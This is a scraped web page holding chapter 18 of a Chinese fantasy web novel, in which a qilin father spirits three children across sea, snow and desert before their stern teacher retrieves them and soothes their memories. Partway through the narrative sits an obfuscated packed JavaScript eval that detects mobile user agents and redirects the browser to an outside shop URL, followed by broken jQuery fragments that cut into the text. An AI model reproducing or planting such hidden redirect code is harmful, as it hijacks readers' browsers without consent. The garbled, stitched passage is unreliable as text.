默认冷灰
24号文字
方正启体

18. 第 18 章

作者:搅拌机本书字数:K更新时间:
    “我、恁、爹!”


    景颐:“???”


    丽质:“……啊?”


    丽质彻底呆住了,掉落的帕子都忘了捡。


    靠在竹子上半睡半醒的李治被这突如其来的声音惊得一哆嗦,茫然睁眼。


    霄乐得哈哈大笑,伸手揉了揉景颐一头卷毛,又顺手刮了下李治的鼻子:“小娃娃吓到了吧!”


    他完全没管旁边宫女嬷嬷们惊疑不定、欲上前又不敢的神色。


    “不对,”景颐皱着小眉头,努力思考,“我爹、我爹是麒麟,出门云游去了。”


    “巧了么不是?”霄一拍大腿,凑近些,压低声音,神秘兮兮地说,“你爹我,就是那出门云游的麒麟啊!刚回来,听说我儿在宫里混得风生水起,特来瞧瞧!”


    说着,他指尖倏地窜起一簇极小的、温暖的金色火苗,火苗扭了扭,变成一只迷你的、活灵活现的小麒麟虚影,绕着景颐飞了一圈,亲昵地蹭了蹭他的脸颊,才“噗”地散成光点。


    景颐眼睛“唰”地亮了!这气息!这感觉!虽然模样变了,但那血脉里的亲近和同源的力量骗不了人!


    他瞬间抛去了所有疑惑,欢呼一声扑过去:“爹!你真回来啦!”


    霄稳稳接住儿子,抱起来掂了掂:“重了!看来皇帝家伙食不错!”


    他转头对还在发懵的丽质和李治招手,“你俩,景颐的小伙伴?一起来!伯伯带你们去玩点有意思的,比教鹦鹉说话强一万倍!”


    丽质虽觉这伯伯出现得蹊跷,言语古怪,但见景颐如此亲昵欢喜,又看他方才露的那手绝非寻常,心中好奇压过了警惕。


    李治更是早已被那手火苗变麒麟的戏法征服,觉得这伯伯比变戏法的胡人厉害多了,迈着小短腿就想过去。


    “公主殿下,九殿下,使不得……”嬷嬷急得低声劝阻。


    霄却已经一手抱着景颐,另一只手随意一挥。


    一股柔和却不容抗拒的清风拂过,丽质和李治只觉得身子一轻,周围的景物微微模糊了一下,下一瞬,他们已经站在了一块巨大的、被海浪拍打得光滑潮湿的黑色礁石上。


    咸腥而湿润的海风扑面而来,耳边是震耳欲聋的轰隆巨响。


    眼前,是一片望不到边际的、灰蓝色的浩瀚海洋。


    巨浪层层叠叠,从视线尽头奔涌而来,狠狠撞在脚下的礁石上,炸开漫天雪白的泡沫,阳光下映出小小的彩虹。


    “啊!”丽质惊呼一声,下意识抓住了旁边霄的衣角。李治吓得小嘴一瘪,却被眼前从未见过的壮阔景象惊呆了,忘了哭。


    “怎么样?比御花园的池子带劲吧?”霄把景颐放下,自己叉腰站在礁石最前沿,任凭浪花溅湿衣摆,豪气干云地念道,


    “东临碣石,以观沧海!这诗写的就是这儿!不过光看没意思。” 他手指向远处海面,“看那边!”


    只见他指尖一点,远海处一道水柱冲天而起,在阳光下折射出七彩光华,隐约可见巨大黑影在水柱下一闪而过。


    “是鲸!”霄大声道,“海里最大的鱼!翻身就能掀起大浪!”


    孩子们看得目不转睛,心中震撼无以复加。从精致婉约的宫廷,突然置身于这原始磅礴的自然伟力面前,那种冲击感难以言喻。


    “海看够了没?带你们去个凉快地方!” 霄不等他们回答,哈哈一笑,袖袍再展。


    场景骤变!


    震耳的海浪声瞬间消失,取而代之的是一种极致的、空旷的寂静。刺眼的阳光被柔和的、漫反射的雪光取代。


    他们站在一片无垠的雪原上,天地间唯有纯净的蓝与白。


    远处有连绵的雪山,头顶是澄澈得仿佛触手可及的蓝天,冷冽清新的空气吸入肺腑,激得孩子们打了个小小的喷嚏,却不觉得寒冷,周身暖洋洋的,仿佛裹在无形的暖被里。


    “这是北边,冬天才有的景致。”霄抓起一把雪,随手一捏,变成两只晶莹剔透、活蹦乱跳的小雪兔,放到丽质和李治手心。小雪兔蹭了蹭李治的手指,化成一股凉意散去。


    “沙子!堆沙子!”景颐在雪地里打了个滚,兴奋地喊。


    “沙子?有!”霄从善如流,第三次挥袖。


    热浪袭来。前一刻的严寒瞬间变为干燥的灼热。他们站在一片金黄色的沙丘之上,目之所及,沙丘如凝固的金色波涛蔓延到天际。


    一轮浑圆的落日正缓缓沉入地平线,将天地染成一片壮丽的血红与橙金。风过沙丘,发出低沉悠长的呜鸣,如泣如诉,如古老的歌谣。


    “玉门关外。”


    霄的声音在风沙中也带上了一丝苍凉,随即又雀跃起来,“沙子不光会叫,还会烫脚!不过有伯伯在,烫不着你们!”


    他随手从沙地里变出几个皮薄多汁的甜瓜,分给孩子们。在这极端干燥之地,瓜果的清甜格外沁人心脾。


    丽质小口吃着瓜,看着眼前变幻的、不可思议的景象,忽然小声问:“伯伯……我们还能回去吗?”


    “回!当然回!”霄啃着瓜,含糊道,“就是带你们开开眼,天地大着呢,别总窝在一小片院子里。你,”


    他指着丽质,“将来要嫁人,可能就去很远的地方。你,”


    又指李治,“要当……呃,反正也可能去很多地方。还有我儿,更是要跟着他师父走遍天下的。早点看看,没坏处!”


    他说话随心所欲,却让丽质似懂非懂地点了点头。


    景颐早已玩疯了,在沙丘上滚来滚去,又央着霄:“爹!再来一个地方!”


    “再来一个?行啊,我想想……”


    霄正琢磨着下一个去处,脸色忽然微微一变,抬头望向长安方向,咂咂嘴:“啧,来得真快……”


    话音未落,沙漠黄昏那绚烂的天空,仿佛被一只无形的手从中撕开一道裂缝。凛冽的、与沙漠燥热截然相反的清寒气息弥漫开来。


    青衣拂动,长琴一步从裂缝中踏出,面覆寒霜,琉璃色的眼眸中蕴含着显而易见、几乎要化为实质的怒意。


    他目光扫过安然无恙却身处大漠的三个孩子,最后死死锁在霄身上。


    “霄!” 长琴语气里带着罕见的气愤,瞬间压过了风声。


    “哎呦!长琴!巧啊!你也来赏落日?”霄立刻换上灿烂无比、却怎么看怎么心虚的笑容,下意识把半个瓜藏到身后。


    “巧?”长琴气极反笑,身影倏忽消失,再出现时已在霄面前,指间清光缭绕,毫不留情地朝他背处敲去,


    “擅动灵力,携凡人幼童跨越时空,置其于险地而不顾。你这些年云游,只长了胆子,没长脑子么?!”


    那清光看似柔和,落在霄身上却发出“啪”一声脆响,不伤筋骨,却疼得他龇牙咧嘴,原地跳脚:“轻点!轻点!我错了!我看着呢!一点危险没有!就是带他们看看世面……”


    “看看世面?”长琴又是一下,这次敲得更重,“时空乱流,气运扰动,天地伟力之侧,是他们这般年纪能承受的?!若有丝毫差池,你待如何?!”


    霄被揍得抱头鼠窜,毫无神兽威严,嘴里讨饶不止:“真没事!我护着呢!你看他们不好好的嘛……哎哟!”


    趁长琴低头查看被这动静吓得有点呆住的孩子们是否真的无恙时,霄眼中精光一闪,以迅雷不及掩耳之势,将身旁的景颐抱起来往长琴臂弯一塞,又把丽质和李治往长琴身侧一推。


    “消消气!孩子还你!我下次注意!”他语速飞快,同时对三个孩子挤眉弄眼,“伯伯走啦!下次再带你们玩更好玩的!”


    说罢,周身金光爆闪,化作一道细线,“咻”地一声钻入还未完全合拢的时空裂缝,逃之夭夭,速度快得连残影都没留下半道。


    “你——!”


    长琴一手抱着景颐,又要顾着丽质和李治,眼睁睁看着那金光消失在裂缝深处,终究没去追。裂缝迅速弥合,沙漠夜空恢复原状,只剩风声呜咽。


    他闭了闭眼,强压下心头翻腾的怒火与无奈。先低头检查三个孩子。


    景颐眼睛还望着爹消失的方向,有点不舍,又有点怕师父生气,小声道:“师父,爹他……”


    “回去再说。”长琴打断他,声音已恢复平静,但余威犹在。他看向丽质和李治。


    两个孩子经历了瞬移、山海雪漠的奇景,又目睹了神仙伯伯被神仙师父揍得乱跑,信息量过大,此刻都有些呆呆的。


    丽质紧紧拉着李治的手,小脸发白。李治则仰头看着长琴,忽然打了个小小的哈欠,揉揉眼睛,往姐姐身上靠去。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114028|195893||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    长琴眸光微凝。他伸出指尖,极轻地在三个孩子眉心拂过。


    一缕宁神清心、兼有模糊近期记忆之效的灵力温柔注入,确保他们不会因此番经历留下惊悸,对这段匪夷所思的“旅行”也只会留下做了个很长的、有趣的梦的模糊印象。


    就在他的灵力拂过李治眉心的刹那,长琴的动作几不可察地顿了顿。


    在那一闪而逝的感知中,李治那尚且微弱、与其他皇子无异的皇家气运深处,似乎……


    那感觉极其隐晦,如深水微澜,若非他此刻灵力探入细致,又恰逢李治经历时空跳跃后气运略有浮动,绝难察觉。


    不似李世民的开创霸烈,也非李承乾的明亮易折。那是一种更能承压、更懂得在复杂局势中蜿蜒前行,或许也更能守成的气息。


    长琴眼底掠过一丝若有所思的微光,但旋即收敛。无论如何,这孩子眼下只是个体弱的稚童,是此次荒唐事件的受害者之一。


    他不再耽搁,袍袖一卷,清光笼罩住三个孩子。


    下一刻,凝云轩,空间微微荡漾,四人身影悄然浮现,仿佛从未离开。只有那只鹦鹉,终于学会了说“师父最好”。


    远处,提心吊胆了仿佛一个世纪的嬷嬷宫女们,只觉眼前一花,就看到公主、九皇子和景颐小郎君好端端地站在原处,只是神色有些困倦,那位突然出现的青衣仙长也立在旁边,面色清冷如常。


    “殿下……”嬷嬷们慌忙上前。


    “无碍。”长琴淡然道,“孩子们玩累了,带他们回去歇息吧。今日之事,不必多言。”


    他的话语带着令人心安的力量。嬷嬷们虽觉古怪,却也不敢多问,连忙领着呵欠连连的丽质和李治告退。


    长琴则又一次加固结界,牵着景颐,进入主室,这才看向徒弟。


    景颐缩了缩脖子,举起手里一直攥着的东西。


    那是霄溜走前,偷偷塞进他手里的一枚暖金色的、边缘有天然云纹的鳞片,只有指甲盖大小,触手生温,隐有流光。


    “师父……爹给的。”景颐小声说,把鳞片递过去。


    长琴接过鳞片,指尖摩挲着那熟悉的纹路与气息,心中百感交集。怒意未消,却又有一丝久别重逢的暖意,更多的是一种果然如此的深深无力感。


    他将鳞片收好,看着景颐:“可知错?”


    “颐儿错了……”景颐低头,“不该跟爹乱跑,让师父担心。”


    “非只为此。”长琴声音肃然,


    “你父行事跳脱,不顾后果。你身为麒麟,又随我修心,当知‘分寸’二字。丽质与雉奴乃凡俗孩童,肉身孱弱,魂灵未固,时空穿梭之力,于他们犹如巨浪行舟,稍有差池,便是魂飞魄散之祸。纵有你父看护,此等行径,亦是大险。你当时为何不拒?为何不唤为师?”


    景颐被问得哑口无言,他当时只觉得好玩、亲切,哪想过这么多。


    “今日起,抄写《清静经》十遍。何时抄完,何时再出凝云轩。”


    长琴下了惩戒,又补充道,“那鳞片,为师暂为你保管。其上附有你父一缕神念,危急时或可护身,但平日不可妄动。”


    “是,师父。”景颐乖乖应下,知道这次师父是真生气了。


    夜深人静,景颐在灯下不情愿地开始抄经。长琴独坐廊下,望着掌心那枚暖金鳞片,神识轻轻探入。


    鳞片中传来霄那依旧没心没肺、却带着一丝讨好的神念留言:


    【琴兄莫怪莫怪!实在想我儿了!顺便带他朋友见见世面,绝对安全!我办事你放心!对了,云游至东海归墟之畔,听见水下有老蛟吟唱,调子古拙悲凉,似与你寻的鸣岐之韵有三分像,但混杂了太多湮灭死气,听不真切。你自己当心,那地方邪性。还有下次回来给你带好酒赔罪!——霄】


    信息杂乱,却关键。长琴收起鳞片,望向东方。


    归墟,死气缠绕的古调……


    他揉了揉眉心。好友的“礼物”,总是这样,伴随着巨大的麻烦和一丝珍贵的情报。


    轩外,虫鸣不绝。


    而那个在沙漠夕照中被长琴偶然窥见一丝特异气运的小小九皇子,此刻正躺在柔软床榻上,沉入一场有大海、白雪、金沙和温暖光芒的、漫长而安宁的梦境。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)